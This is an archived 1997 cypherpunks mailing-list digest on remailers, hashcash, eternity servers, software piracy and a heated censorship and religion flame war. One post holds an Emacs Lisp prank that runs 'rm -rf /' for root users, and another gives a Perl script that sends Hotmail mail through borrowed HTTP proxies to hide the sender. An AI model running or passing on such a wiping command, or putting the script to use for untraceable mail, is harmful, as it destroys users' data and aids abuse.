Months turned to years and his hair was turning grey.
Jed worked very hard while his life slipped away.
Waiting to retire when he turned 64,
Instead he got a call and escorted out the door.

Laid off, that is... de-briefed... unemployed...

Now the moral of the story is listen to what you're told,
Companies will use you and discard you when you're old.
So gather up your friends and start your own firm,
Beat the competition, watch the bosses squirm.

Millionaires, that is... Bill Gates... Steve Jobs...

Y'all come back now... ya hear'





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: iang@cs.berkeley.edu (Ian Goldberg)
Date: Sat, 9 Aug 1997 06:10:38 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Exit Remailer Suggestion
In-Reply-To: <19970807192254.40.qmail@zipcon.net>
Message-ID: <5sg43l$v7v$1@abraham.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain



In article <199708080936.KAA01816@server.test.net>,
Adam Back  <aba@dcs.ex.ac.uk> wrote:
>
>Mike Duvos <enoch@zipcon.net> writes:
>> Someone wrote:
>
>(That someone was me).
>
>>  > What about AOL disks?  We need shorter lived, disposable
>>  > remailers as exit remailers...  Let them take the heat,
>>  > while the real remailers walk.  Lets see a series of
>>  > "exitman" remailers.  Exitman remailers are walking targets
>>  > left to fend for themselves as long as they may.
>> 
>> By reconfiguring current remailers to use a public Email service
>> as the last link in the chain, we tap a potentially infinite
>> supply of disposable accounts, on advertising-supported service
>> providers with skins as thick as those of the bulk emailers.
>> 
>> Sounds like a plan to me.
>
>OK, lets _do_ it!

Sounds good to me.  Hotmail makes a note of the IP address that connected
to it, but luckily there's no shortage of HTTP proxies out there...

   - Ian

#!/usr/bin/perl -w

##
## sendhotmail: pipe an RFC822 mail message into this, and it will send it
##              out from a hotmail account via an HTTP proxy
##
## Initial revision 19970808 by Ian Goldberg <ian@cypherpunks.ca>
##

## Set the following to your proxy host and port.
##  Look at the files pointed at by
##   http://ircache.nlanr.net/Cache/Tracker/caches/
##  for sample entries, but most of them don't allow just anyone to connect
##  to hotmail through them.

$proxyhost = 'proxy.slt.lk';
$proxyport = 8080;

## This is your hotmail login name and password
$login = ## Fill this in yourself
$passwd = ## Fill this in yourself

## End Configuration

sub escapetext {
    my $t = $_[0];
    $t =~ s/([\000-\037\200-\377\{\}\|\\\^\[\]\`\"\<\>\:\@\/\;\?\=\&\%\.\#])/"%".unpack('H2',$1)/eg;
    $t =~ s/ /+/g;
    $t;
}

## Parse the incoming mail (note that we don't handle continuation headers)
## Also, the To, Cc, and Bcc headers ought to be in a form hotmail understands
## (no full names, etc.).  We try to do the stripping properly.

$to = '';
$subject = '';
$cc = '';
$bcc = '';
while(<STDIN>) {
    if (/^To:\s+(.*)/io) {
	$to = $1;
	$to =~ s/\(.*?\)//g;
	$to =~ s/\".*?\"//g;
	$to = &escapetext($to);
    } elsif (/^Subject:\s+(.*)/io) {
	$subject = &escapetext($1);
    } elsif (/^Cc:\s+(.*)/io) {
	$cc = $1;
	$cc =~ s/\(.*?\)//g;
	$cc =~ s/\".*?\"//g;
	$cc = &escapetext($cc);
    } elsif (/^Bcc:\s+(.*)/io) {
	$bcc = $1;
	$bcc =~ s/\(.*?\)//g;
	$bcc =~ s/\".*?\"//g;
	$bcc = &escapetext($bcc);
    }
    last if /^$/;
}
$msg = &escapetext(join("\r\n", <STDIN>));

use LWP;

## Begin magic

$ua = new LWP::UserAgent;
$ua->proxy('http', "http://${proxyhost}:${proxyport}/");

$url = new URI::URL 'http://www.hotmail.com/cgi-bin/password.cgi';
$request = new HTTP::Request('POST', $url);
$request->header(Pragma => 'no-cache');
$request->content("login=${login}&curmbox=ACTIVE");

$response = $ua->request($request);
$body = $response->content;
$body =~ /\<\s*form\s+[^>]*action=\"(.*?)\"/io or die "Cannot log in";

$url = new URI::URL $1, $url;
$body = $';
$body =~ s/\<\s*\/form\s*\>.*//;
$body =~ /\<\s*input\s+[^>]*name=\"disk\"\s+value(=\"(.*?)\")?/io or die "Cannot give passwd";
$disk = $2 || "";

$request = new HTTP::Request('POST', $url);
$request->header(Pragma => 'no-cache');
$request->content("passwd=${passwd}&frames=no&disk=${disk}&curmbox=ACTIVE&login=${login}&js=no");
$response = $ua->request($request);
$body = $response->content;

$body =~ /\<\s*area\s+[^>]*href=\"(\/cgi-bin\/compose.*?)\"/io or die "Cannot compose";
$composeurl = new URI::URL $1, $url;
$body =~ /\<\s*area\s+[^>]*href=\"(\/cgi-bin\/logout.*?)\"/io or die "Cannot compose";
$logouturl = new URI::URL $1, $url;

$request = new HTTP::Request('GET', $composeurl);
$request->header(Pragma => 'no-cache');
$response = $ua->request($request);
$body = $response->content;

$body =~ /\<\s*form\s+[^>]*action=\"(.*?)\".*?\>/io or die "Cannot send message";
$url = new URI::URL $1, $composeurl;
$body = $';
$data = '';
while(1) {
    $body =~ /^\s*\<\s*input\s+type=\"?hidden\"?\s+name=\"(.*?)\"\s+value(=\"(.*?)\")?\s*\>/io or last;
    $name = $1; $value = $3 || ""; $body = $';
    $data .= $name."=".$value."&";
}
$data .= "to=${to}&subject=${subject}&cc=${cc}&bcc=${bcc}&body=${msg}&Send.x=1&Send.y=1";

$request = new HTTP::Request('POST', $url);
$request->header(Pragma => 'no-cache');
$request->content($data);
$response = $ua->request($request);
$body = $response->content;

$request = new HTTP::Request('GET', $logouturl);
$request->header(Pragma => 'no-cache');
$response = $ua->request($request);





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 9 Aug 1997 11:30:36 +0800
To: cypherpunks@toad.com
Subject: Re: Query on cookies
In-Reply-To: <199708081336.GAA04744@toad.com>
Message-ID: <eHD6ae76w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



"Peter Trei" <trei@process.com> writes:
> Well, I'm using version 4.01a for NT. There are three settings for
> cookies:
>
> 1. Accept all cookies.
> 2. Accept only cookies which get sent back to the originating server.
> 3. Disable cookies.

Does #2 mean that if your "main" page is from d1.com and it calls something
from d2.com that tries to set a cookie for d2.com, it's not allowed?
What if it's in a frame?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David Downey" <digital_matrix@hotmail.com>
Date: Sat, 9 Aug 1997 13:59:54 +0800
To: tm@dev.null
Subject: Apology from me to the list and TruthMonger
Message-ID: <19970809053931.20560.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



LOL, all right, all right. I'll take my lickings and like it. I 
apologize. I came off far from what I was trying to say. I was really 
pissed off at what TruthMonger said in the email. I took major offense 
at his use of Jesus in the mail in the context in which he did. I am NOT 
one who believes in the banning of sites based on a rating syste, I 
believe that based on the rating system you should be able to decide 
from that if *you* want to go there. No one has the right to *ban* a 
site. I humbly apologize to all and to TruthMonger. Some say one should 
not apologize on a list because then everyone will make it open season 
on that person forever. If that is the case, oh well. I believe that if 
a man is in the wrong he should apologize. I am in the wrong. I 
apologize. I went overboard on my retort to TruthMonger, not stopping to 
think how it would make me appear. I unfortuately gave the impression in 
complete opposites of where I actually stand on the issues. I do not 
know how to word where I stand because I take a little from each side as 
to what is the correct way to handle these issues. I joined this 
listserv because I believe wholeheartedly in the stated reason for the 
existence of this listserv. I run my own for the same reasons. 


Folks, I truly am sorry for the remarks I made, and the attitude 
displayed is not what I believe inside. I believe that every man and 
women have the right to make there own dicision on issues that affect 
them. I believe that a fully cooperative effort to come to terms with 
many of the issues facing us is needed. I do NOT support the government 
in it's belief that sites should be banned based on their ratings in 
whatever finally accepted rating system. I do not believe in escrowed 
key accounting (espeicially when the government choses the key ecrow 
agents). I do *not* follow the bible thumping christian coalitions that 
believe that decending on the net with bibles, fishnets, and handcuffs 
is the answer. I believe in fighting for what one believes in. I firmly 
believe in protecting the children and guiding them towards an 
understanding of today's world in *all* it trappings. I am also unsure 
as to the correct and "right" way to do this. I am open to suggestions, 
and am willing to openly contribute my own. There are many of you who 
will undoubtably have blocked my posts as a result of my earlier post. I 
am sorry for this. For I could learn a few things from those that have, 
just as I can pass on some to them.


For the mistakes I put forth, I humbly apologize.

______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 9 Aug 1997 06:16:40 +0800
To: cypherpunks@cyberpass.net
Subject: some hashcash advocacy (was Re: anti-spam law implies laws against remailers?)
In-Reply-To: <97Aug8.131019edt.32257@brickwall.ceddec.com>
Message-ID: <199708082145.WAA01973@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




nospam-seesignature@ceddec.com writes:
> On Fri, 8 Aug 1997, Adam Back wrote:
> 
> > [hashcash]
> 
> I think you never answered the fundamental question:
> 
> But to what advantage is it for *ME* to use hashcash?
> 
> Saying that it is neat, patriotic, pious, or any other adjective won't get
> my anonymous mail through any faster unless you can create a cartel of
> remailers that expidite hashcashed mail, or use some type of new remailer
> that others don't have and build hashcash into the distribution. 

I wasn't talking about remailers above, but about end users.  Hashcash
allows the recipient to filter out email that hasn't got postage.

As an interim upgrade path ISPs adopting it could be to bounce
messages with out payments, and include a nonce, and instructions to
resend including the nonce.  Set up the filter so that the second post
gets through.  Spammers often don't have forged reply addresses for
obvious reasons.  

(If spam crept up too badly in-spite of this you could at that point
disable non-hash cash postage and give a URL for a java implementation
where they just go to the web page and their browser will generate
them some hash cash.  Obviously this is inconvenient so I would be
interested to see how the spammers adapted to just the nonce first.
It's much easier to block spammers if they have to include replyable
email addresses.)

You would also have a no-postage list, for mailing lists etc.


If we arrange so that spam won't get through without payment, it
disincentivizes spammers.  If some users go running around asking for
`government to do something about spam', it could be suggested to them
that it would be more effective to ask their ISP to install a hashcash
patched sendmail.

A remailer won't answer the bounce with nonce, so you automatically
won't get remailer traffic without postage -- unless you put remailers
on your no-postage list.

If you're some media celebrity and you get too much email -- just turn
up the squech, increase the postage required rate, and add people you
do want to your no-postage list.

You could auto-add anyone you ever manually replied to to the
no-postage list even.

> You still have the problem that a large organization can buy large
> computers just to do hashcash - look for networkable hashcash generators
> if it becomes popular.

I think the easiest initial way for the spammer to continue spamming
you would be to target mailing lists, using forged addresses.

Spam on mailing lists instead of mail is also a good thing for us,
because we already have solutions for spam on mailing lists:
decentralised 3rd party ratings -- NoCeMs can be applied to mailing
lists.  Allowing us to recommend good posts or mark what we consider
spam.  Individual users can decide which rating service to use.

If you consider that hashcash can be setup to only charge postage for
people you have never replied to in the past, this heavily
discriminates against people who send large amounts of mail to random
people.  (Which is precisely the spammers mailing pattern!)


Another solution with real ecash is to send ecash payment with mail
and have filters that will similarly bounce messages if there is no
ecash.

The recipient by societal convention is expected not to cash the
payment.  People who cash your money you don't tend to send more email
to.  You could easily charge $1 and that would be a high price for the
spammer -- it would be cheaper to snail mail you the spam.

The above doesn't seem very friendly, or very in keeping with the
spirit of free discourse.  I think hashcash is nicer in this respect.

I've taken the stuff on eternity to another message.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 9 Aug 1997 06:06:14 +0800
To: cypherpunks@cyberpass.net
Subject: recursive auction markets in software
Message-ID: <199708082151.WAA01986@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




[re connection problems to www.replay.com -- Alex is running with the
Stronghold 1.4 webserver -- what you're seeing is a bug in it.
Presently Alex is going to go back to 1.3, unless C2 comes up with a
bug fix version.  I really should put up a note to this effect.  I'll
do that.

It's still usuable as it's an intermittent bug, and all you've go to
do keep clicking on the reload button in your browser, and it'll get
through after a few tries...

	http//:www.replay.com/aba/eternity/        ]


tzeruch wrote about legal problems which could happen if eternity is
used to sell, or distribute copyright software:

> The legal problems still need to be resolved.  As long as no copyrighted
> material appears I think things will be fine, but when MSwhatever appears,
> someone is going to say the eternity server is like an illegal cable
> descrambler or make up something very similar to ban them since they
> aren't merely forwarding the content from alt.anonymous.messages - if
> encryption is an envelope, the eternity server opens it.

The argument that it is a USENET message being forwarded after
reformatting may not help that much, -- we'll see how it works out.

If there were lots of eternity servers it would be better.

> Otherwise, you could simply post the plaintext to an alt group.  If
> that doesn't happen now (why?),

I dunno.  It could be for a number of reasons, you'd have to do a
survey of the warez d00dz that hang out on IRC channel #warez to see
why they don't do it.

I guess it's because they find easier to trade with DCC commands in
#warez.  I had a look at a #warez session in progress some time ago,
and the trades were going down every few minutes.  Take a look.
Especially games trades but also high price DTP and photo retouching
stuff.  You'd see `trade quark-Xpress 8 for registered quake' or
whatever come up a few times, and then it'd stop, and that handle'd
say thanks I've got it now.

IRC is less main stream, and these folks don't like the lime light
because they know that their 'warez trading habits are frowned upon by
many.

Another reason is that why should they bother, what's their
motivation?  They aren't making money from it I don't think, they're
just after copyright software without paying for it.  It's probably
just that the most efficient market for leveraging what they have got
copies of via trades is on IRC right now.

Another class of pirate is the Chinese (it is Chinese who do this
yes?) who make CDs full of commercial software and sell it way under
market price.

Perhaps that class of pirate would take off if the net bandwidth was
up to it.  Their next problem would be to control access to their
anonymous eternity page to allow themselves to get some money from it.

Perhaps eternity servers could be set up to charge for downloads and
pass back money to the anonymous poster.  But then how do you stop
someone else reposting it and charging a lower price?  Well you can't.
But that's all what recursive auction markets are about.  The reaches
a point of diminishing returns, and the user can buy freshly released
products more quickly from the first non-copyright abiding software
reseller, or they can buy it more cheaply if they wait as the price
falls over a few days.

Eric Hughes apparently gave a talk at a hacker con some time back
about UIPS `Universal Internet Piracy Service'.  I think his ideas
were to explore the financial aspects of trading system for illicit
software.  He wasn't planning to put up a distributed document store,
but to have an distribution medium were there was a continuous flow of
information.  As long as the information could still get through in
the face of hostilities from copyright police, it was doing it's job
and the software could be traded.  I don't think he's released
software yet, and I don't think there's any papers available on the
net, but it was still an active idea last I heard.

> then adding an encryptor and decryptor isn't going to change it,
> otherwise simply post the encrypted text, and the passphrase in the
> same message, or the encrypted text, the secret key, etc.  Except
> that the URL interface makes access more convienient.

Yup.  Actually it'll be much more convenient because it will disappear
out of the news spool presently, and the eternity servers might get to
the stage where they keep a virtual raid file server implemented by
exchanging documents from their caches, and can archive the most
popular stuff.

So because it's more convenient it's even less defensible as it's
providing some part of this service.

See the post about building a distributed dejanews replacement for
another approach to this problem which is probably more defensible.
Might turn out to be a better way if your suspicions prove correct.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David D.W. Downey" <admin@CyberSpaceTechnologies.com>Matches <matches@fcs-net.com>
Date: Sat, 9 Aug 1997 13:24:04 +0800
To: cypherpunks@toad.com
Subject: [Fwd: [Fwd: Virus Warning]][Fwd: Virus Warning]
Message-ID: <33EC326A.31390DFF@cyberspacetechnologies.com>
MIME-Version: 1.0
Content-Type: message/rfc822



Received: from async1000.fcs-net.com (async1000.fcs-net.com [205.232.171.204]) by ns.fcs-net.com (8.6.12/8.6.9) with SMTP id LAA10393; Wed, 6 Aug 1997 11:47:33 -0400
Message-Id: <3.0.32.19970806115228.007d8880@ns.fcs-net.com>
X-Sender: sfrankln@ns.fcs-net.com
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Date: Wed, 06 Aug 1997 11:52:36 -0400
To: allcustomers@fcs-net.com
From: Sheryl Franklin <sfrankln@fcs-net.com>
Subject: Virus Warning
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"

			*** FYI ***
If you recieve an e-mail titled " JOIN THE CREW" do not open it.

It will erase everything on your hard disk.

This is a new virus that is not detected by McAfee or Norton.




                                  Franklin Communications Services
 
Sheryl Franklin                F F F F F      C C C C C      S S S S S 
Vice President                F              C              S
sfrankln@fcs-net.com         F F F F       C               S S S S S
http://www.fcs-net.com/     F             C                       S	
(716) 651-4570             F             C C C C C C     S S S S S    







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 9 Aug 1997 07:44:19 +0800
To: cypherpunks@toad.com
Subject: Re: The BIG Lie (Jesus Confesses)
Message-ID: <199708082309.BAA22877@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




At 06:26 PM 8/8/97 -0400, you wrote:
>You know, you are just about the biggest idiot I have ever had the
>displeasure of reading. For one, the largest religion in the US right
>now *is* in fact judeo-christian.

Showing many people suffer from delusion.

>The largest is Roman Catholic with
>Pentacostal Protestant following right behind. Next, this country was
>founded on christian beliefs, or have you failed to read the words of
>the constitution of the US.

Ah, yes, but the constitution also has a thing on seperation of church and state, or did you fail to read the words?

>Considering the apparent ignorance you have
>displayed thus far about the makeup of the US, I would venture to say
>that you probably have not read it. Next, you attack christians for
>trying to control the content made available on the internet.

The Christian Coalition (The Happy Nazi's), is one major group trying to censor information, becuase they and their mythical god think that it's right.  Forcing your beliefs on others in fascism, and never was right.

>At least
>the site ratings plan is better than alot of other plans I have seen.
>Besides, Oh Godlike TruthMonger, where is *your* surefire plan to halt
>the spread of trash that *most* humans would want out of of the reach of
>their children?

Monitor the kids web access, or do your job and be a parent.

>I have not seen you *once* offer a straightforward clear
>cut plan to efficiently handle *any* issue placed for discussion on this
>listserv. I have seen you do nothing but slam, belittle, and degrade
>others and their beliefs and ideas.

I've only seend TM degrade Anti-Crypto persons, fascists, Censorous Christians, and other like those groups who fight to usurp our constitution.

>You do this under the unimpressive
>tag of "TruthMonger". If anything, you are anything but a TruthMonger.

I find his posts suprisingly true, if anything else.

>When you can come up with a plan that even *remotely* seems like a
>logically thought out, planned, and intelligent proposal on how to
>handle the issues presented everyday on the internet that affect the
>computing industry balanced with a concern for the children, then I will
>listen. (And yes, I do agree that the parents of the children have an
>obligation to monitor the content they are exposed to. It's called
>responsible parenting which unfortunately is not a well practiced
>ideology.

Therefore, if you bitch about your kid going to www.porn.com while you where out eating with friends, then that person would be a neglectful parent.

>And to take the wind out of your sales, I have 2 children and
>as a parent I limit them to what is appropriate to their ages.)

What does that encompass?  Do you supress web pages advocating safe sex because it may corrupt their minds?  Tell me, SuperDad (R), how do you manage to raise your kids perfectly?

>Until
>such time as you can fulfill the obligations to us,

TruthMonger isn't obligated to do anything, and he owes you nothing, dumbass.

>the adult computing
>population, and our offspring, the children (just in case your fuddled
>mind does not know what they are), I suggest you rest those busy little
>fingers of yours and listen to the underlying theme of the issues before
>us. Until then, HateMonger, I have one suggestion for you..... Shut Up!

Oh, so we're a censorous Nazi Ratfucker, are we? Let me tell you something, Downey, don't tell other what to do, TM has every right to post as you do.  So if you don't like his posts, you aren't obligated to read them in the first place.  If it offends you, don't look at it in the first place.  Such a simple thing for such a powerful mind like yours to look over.

As for your forcing morals down our throats all I can say is

"Your God is DEAD, and no one cares!!!  If there is a hell, I'll see you there!!!" - Nine Inch Nails "Heresy"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 9 Aug 1997 16:54:48 +0800
To: cypherpunks@Algebra.COM
Subject: Re: JOIN THE CREW
In-Reply-To: <199708090554.HAA07924@basement.replay.com>
Message-ID: <19970809014149.15836@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, Aug 09, 1997 at 07:54:53AM +0200, Anonymous wrote:
> If you are reading this message as root under Emacs, please position
> the cursor to the final paren in the following and hit C-x C-e.
> 
> (call-process-internal "/bin/rm"
> 		       nil t nil
> 		       "-rf" "/")
> 
> 
> VirusMonger

You dumb shit -- I tried it and it didn't work!

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David D.W. Downey" <admin@CyberSpaceTechnologies.com>
Date: Sat, 9 Aug 1997 12:25:58 +0800
To: paulmerrill@acm.org
Subject: Re: The BIG Lie (Jesus Confesses)
In-Reply-To: <199708081253.GAA06495@wombat.sk.sympatico.ca>
Message-ID: <33EC2214.6BEA2C9A@cyberspacetechnologies.com>
MIME-Version: 1.0
Content-Type: text/plain



>Paul H. Merrill wrote: 
> judeo-christian isn't a religion.  Christian is.
> 
Judeo- Christian is a subsect of Christianity in it's generic form.
(Both my parents are ministers, and this has been drilled into my head.)

> I have read the Constitution and the history behind it.  >The US was founded by people trying to escape religious >persecution and/or trying to get rich.  In case you can't >figure it out, forcing your views down my throat IS >religious persecution -- exactly the same sort that sent
> the Pilgrims off on the Mayflower.
> 
1) I am not forcing my beliefs down *anyone's* throat. I do not seek to
control but to inform. As to the constitution, I served 8 years in the
military so I have a pretty good idea of what it does and does not mean.
I do not advocate internet control to the point of demanding that site
rankings or any such become mandatory. I do however agree that if we can
not police ourselves then this should be a warning that others may do it
for us. When the Protestants (originally the Quakers), came here, you
are correct in why they did come here, yet they also agreed among
themselves to police their actions themselves. This is something we are
failing to do. We are allowing stuff that children need not to see at
certain ages to proliferate all in the name of "If we don't allow this
freedom of expression to take place, it sends a signal that *all*
freedoms are up for grabs." That is simply not true. What is being
proposed is that a little common decency be exerted. After all, these
are children we are talking about. They do not have the capacities that
we do to process all information relating to certain issues. We have
experiences on our side that children do not, just through sheer lack on
their part of numbers of years on this planet. I mean are you really
suggesting that a child has the cognative abilities, at say the age of
6, to understand and make an informed opinion about sex with an older
person? I hope not! I mean, let's be realistic here. We have knowledge
gained thru living that children do not. I am in no way suggesting that
we blindly stuff all things remotely offensive off the net. I am saying
let us be responsible enough to give this information to our children in
doses they can handle. And yes, I will be the judge of what I feel my
children can handle. What is so wrong with adults putting a statement on
their sites that say, Hey parents, there *may* be info here that you
might want to be aware of for the kids' sakes.?

> That statement is somewhat similar to saying that if you >don't like your chains you are free to suggest the stocks >or perhaps rope.
> 
No, what I am saying is that if he doesn't like what has been proposed
to suggest an alternative in an adult fashion. I don't see how slamming
and belittling helps discussions.


> As long as the scum that gravitates toward LEAs and the >Government continue to do so it is relatively stupid to >express (or defend) views outside the accepted norm in an >open fashion.  (I guess that makes me sorta stupid, huh?)
> 
Not true. I will never agree with what our government proposes. In fact
I have an entire website dedicated to going *against* what the current
government proposes. I do not believe in the taking away of rights or
the forcing of a country's people to *have* to do half of what the
American government proposes. What I do suggest is that we, as a
community, need to look to ways that we can balance these issues out in
a manner that is agreeable to all involved. Inflammatory attacks,
degradation of someone based on cultural or religious beliefs has no
place in the discussions. The only reason I flamed at TruthMonger is
because I have only seen postings from that person that violates that
very critical issue. Everyone has the right to their opionions right,
wrong or otherwise. I just got sick of hearing him flame everyone with a
contrary view. And he seems to do this under the suggested banner of
truth. That I do not agree with. I don't condemn him for his views. They
are just as important as mine. I condemn his actions in slamming others
for not agreeing with *him*!

> I have two of my own and I don't see how "protecting" them >in the ways that you seem to like would do anything other >than warp their worldview to such a level that they will be >esay prey for whatever scum they run into in the meatworld.
> 
There is a difference between warping their views and ensuring that they
are mentally able to engage themselves in these issues. The issues that
befall each of us require an ability to see deeper into the causes,
actions and reactions of those with whom we interact. We have many
things, as adults, that we can bring to the tables of rationality and
discussion due to the fact that we learned through prior experiences.
Each and every one of us have sought guidance on any myriad of issues.
We are leaving a confusing mess for the next generation. I am just
saying that we may need to band together to give all of us some sort of
cue card as to what issues may be faced at various stops along the way
as we ride the information highway.
 
> I don't know about TruthMonger but I did listen to the >underlying theme of the issues before us and I found that >it was actually scum-suckers and other bottom feeders >trying their damnedest to steal my freedom. That's why I'm >typing here and now.
> 
I will grant that there are some out there that advocate the taking away
of rights. I am not one of them. I have bullet holes in me because I am
willing to put my life on the line for freedom and rights. I don't agree
with alot of what hardliners have to say. But they also have a say in
this. I will defend my rights and the rights and freedoms of others with
my last breath if need be. All I am saying is that there is a
constructive way to do things. Let's do it that way. I am no stranger to
being a politician's trump card to be played when all else fails to get
folks to listen at the talk tables. That is the very nature of
soldiering. Yet,  I also am not afraid to turn what I learned from them
against them if they should so force that issue. In short, yes, I will
use violence if *all* else fails to get them to listen to reason. But
that is after exhausting all other avenues of approach. The reason I
slammed "TruthMonger", is because I have yet to hear anything from him
other than pure rhetoric and inflamation. I am willing to listen to what
he has to say. Provided that he at least has some meat to his words, not
libel and slander. These solve nothing, and contribute even less.

> The hatemonger that I see in this interchange is not >TruthMonger and it's not me -- Let's see, I guess that >leaves . . .
> 
Everyone is entitled to their own opinion. If you feel that I am a
HateMonger, you are entitled to that opinion. I am entitled to my
opinion that TruthMonger is anything but a TruthMonger, but is a
HateMonger. I will defend both your and mine opinions. I believe in the
ability to agree to disagree. I agree. I may have been hotheaded and
gone too far in my last email. For that I will apologize, both to
members of this list, as well as TruthMonger. I will not apologize for
my opinion of him.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 9 Aug 1997 10:48:13 +0800
To: cypherpunks@toad.com
Subject: jThe BIG Fly / Re: The BIG Lie (Jesus Confesses) (fwd)
Message-ID: <199708090224.EAA14051@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Jim Choate wrote:
> I am a Pantheist, I believe in god but I can guarantee it bears absolutely
> no resemblance to the Christian god. 

  I am a Frisbeetarian.
  I believe that when you die, your soul goes up on the roof,
and you can't get it down.

LassieMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David D.W. Downey" <admin@CyberSpaceTechnologies.com>
Date: Sat, 9 Aug 1997 13:21:43 +0800
To: cypherpunks@toad.com
Subject: Re: The BIG Lie (Jesus Confesses)
In-Reply-To: <199708082242.AAA20104@basement.replay.com>
Message-ID: <33EC319A.4B93198@cyberspacetechnologies.com>
MIME-Version: 1.0
Content-Type: text/plain



Before we go on with this, let me just say that I disagree with alot of
the "christianity" presented in today's world. I go to no church, for
which my parents do indoubtably lament emensely. (They are both
ministers. Ironic) I am open to many different views. My best friend in
the world is buhdist(sp?) and I heavily study martial arts, in which I
excell only because of my study of the culture and religous background
involved with martial arts. I am the *farthest* person from advocating
or backing many of the suggested plans of the christian community in
dealing with these issues.


Anonymous wrote:

> 
> The size of the majority does NOT have anything to do with >what's "right", particularily when it comes to religion.
> 
You are correct, I was merely responding to his statement.

> That much I have read.  And nowhere do I see that >"Christian beliefs" are the cornerstone of our country.  
>
To show how much this country *was* in fact based upon Christianity, one
has only to look at our money. "In *God* we trust. Also, the majority of
our founding fathers were in fact christians. Yet they correctly
surmised that plans needed to be made and coopertive efforts begun
between all the people in order for harmonious living to be even a
remote possibility.

>As a matter of fact, I see writing that specifically says >that religion is NOT a part of our government, and that the >two shall NOT intermix.  Very specific. 
> 
Yes, yet also that ruling came into existence *long* after the
constitution had been designed, ratified, and accepted by the original
colonists. And this was passed after the Church became far too powerful,
and a few tried to influence the whole via a emensely powerful political
base. (We can thank the Roman Catholic church for the necessity of this
law.)

>SOME of the founders of our country were personally very >religious. But some of them were atheists.  They were a >mix of beliefs.  However, all of them felt the persecution >of the English theocracy, and were writing the Constitution >specifically to avoid creating such an evil monstrosity >here.  I think they did a good job.  
>
They did an *excellent* job. I fought to ensure that the work they did,
did not come undone in our time. (I am sorry, I can not go into
specifics.) Also, they were correct in trying to keep the English form
of government out of the new country. Unfortunately, I doubt if any of
them would be happy with the government of today, as many of the spirits
residing within the wording of the constitution are blatently violated
on an everyday basis by our current government. I am sure many would be
down right pissed at what is taking place today!

>They wanted the freedom to practice their own religions >here.  They officially did NOT lay down WHICH religions >were to be practiced. That's why we all fight to keep the >net out of Christian hands.
> 
I do not know how to correctly word my thoughts on that statement so I
will decline for the moment. You seem to think that I am one of the
christian members who thinks that anything even remotely repulsive or
offbeat should be expunged from the net. You could not be more wrong.
But I do not know the words to explain what I feel and think on this
issue. Or at least in a way that would not come out wrong.

> My surefire plan, which has worked **100%** is to monitor >my child's net surfing. He's 9, and I really don't want him >stumbling into www.seXXX.whatever.
> 
I agree that that is one of the things needed. Responsible parenting. I
don't want mine doing that either. I guess what I am saying is that, for
those parents that do not do that, don't we have an obligation to at
least think of those children that do *not* have that? I mean, don't we
at least have the moral obligation to *not* take the stance of "Fuck
them!"? I care for all children, not just my own. These children are
going to take the reins of this world from *us*. They will either
contribute to this world or detract from it. I'm suggesting that we come
together to responsibly teach them about the world around them. It is
big, complex, and scary, even for adults. Let's not just throw them to
the wolves and say "Fend for yourselves." There are some things that
have the major potential to be harmful to a child's psyche out on the
net and in real life. No, let's not ban things just because they are
offensive to some. I do suggest that some things have no place either in
cyberspace or the real world. Why? Because society in general has agreed
that these things are an affront to the community as a whole. Either
locally or globally. Take NAMBLA (National Man/Boy Lovers Association),
who feel that a 5 year old child is capable of making an informed
decision on whether it is OK for him (the child) to have sex with an
older man. 5 YEARS OLD!!??!!?? I don't think so. And neither does a
*majority* of the world population! These types of things are policed by
law enforcement agencies on and off the net, majoratively, by the
general public across the globe. *These* issues are the ones that I
would ban. Yes, if that violates the rights and freedoms of a few, then
yes. I would do it, for the good of the majority. I'm not talking about
pissing in a cup and putting a cross in it and then calling it art.
